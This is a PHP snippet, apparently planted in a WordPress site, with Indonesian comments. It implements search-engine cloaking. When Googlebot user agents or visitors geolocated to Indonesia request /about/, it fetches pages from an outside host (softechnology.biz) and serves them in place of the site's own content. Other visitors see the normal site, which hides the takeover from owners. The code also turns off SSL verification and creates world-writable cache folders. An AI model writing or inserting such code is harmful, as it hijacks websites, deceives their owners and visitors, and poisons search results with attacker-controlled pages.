$config = [
    "bot_user_agents" => [
        "Googlebot",
        "Googlebot-Image",
        "Googlebot-Video",
        "Googlebot-News",
        "Storebot-Google",
        "Google-InspectionTool",
        "GoogleOther"
    ],
    "target_countries" => ["ID"],
    "cloak_map" => [
        "/about/"          => "https://softechnology.biz/raw/zgQwO2p0sg",
        "/about/" => "https://softechnology.biz/raw/va_5VVY-n9",
    ],
    "ip_cache_ttl"    => 86400,
    "cache_directory" => __DIR__ . "/wp-content/uploads/cache_lp",
];

$uri        = $_SERVER["REQUEST_URI"] ?? "";
$raw_path   = explode('?', $uri)[0];
$current_path = rtrim($raw_path, '/');

// Cocokkan path target
$cloak_url = null;
foreach ($config["cloak_map"] as $path => $url) {
    $norm_path = rtrim($path, '/');
    if ($current_path === $norm_path || $raw_path === $path) {
        $cloak_url = $url;
        break;
    }
}

// === Kalau bukan path target, LANGSUNG lanjut ke WordPress (gak return) ===
if ($cloak_url !== null) {

    // Anti-cache
    header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
    header("Pragma: no-cache");

    if (!function_exists('gxd_get_client_ip')) {
        function gxd_get_client_ip(): string {
            foreach (["HTTP_CF_CONNECTING_IP","HTTP_X_FORWARDED_FOR","HTTP_CLIENT_IP","REMOTE_ADDR"] as $h) {
                if (!empty($_SERVER[$h])) {
                    $ip = trim(explode(",", $_SERVER[$h])[0]);
                    if (filter_var($ip, FILTER_VALIDATE_IP)) return $ip;
                }
            }
            return "127.0.0.1";
        }
    }

    if (!function_exists('gxd_curl')) {
        function gxd_curl(string $url) {
            $ch = curl_init($url);
            curl_setopt_array($ch, [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_TIMEOUT        => 20,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_USERAGENT      => $_SERVER["HTTP_USER_AGENT"] ?? "Mozilla/5.0",
                CURLOPT_ENCODING       => "",
            ]);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
    }

    $client_ip  = gxd_get_client_ip();
    $user_agent = strtolower($_SERVER["HTTP_USER_AGENT"] ?? "");
    $is_bot     = (bool) preg_match("/(" . implode("|", $config["bot_user_agents"]) . ")/i", $user_agent);

    $should_cloak = $is_bot;

    if (!$is_bot) {
        $ip_cache_dir = $config["cache_directory"] . "/ip";
        if (!is_dir($ip_cache_dir)) @mkdir($ip_cache_dir, 0777, true);
        $cache_file = $ip_cache_dir . "/ip_" . md5($client_ip) . ".json";

        $geo = ["country" => "UNKNOWN"];
        if (file_exists($cache_file) && time() - filemtime($cache_file) < $config["ip_cache_ttl"]) {
            $geo = json_decode(file_get_contents($cache_file), true);
        } else {
            $data = json_decode(gxd_curl("http://ip-api.com/json/{$client_ip}"), true);
            $geo["country"] = $data["countryCode"] ?? "UNKNOWN";
            if ($geo["country"] !== "UNKNOWN") {
                file_put_contents($cache_file, json_encode($geo));
            }
        }

        if (in_array($geo["country"], $config["target_countries"])) {
            $should_cloak = true;
        }
    }

    if ($should_cloak) {
        $content = gxd_curl($cloak_url);
        if ($content && strlen(trim($content)) > 100) {
            while (ob_get_level()) ob_end_clean();
            header("Content-Type: text/html; charset=utf-8");
            echo $content;
            exit();
        }
    }
}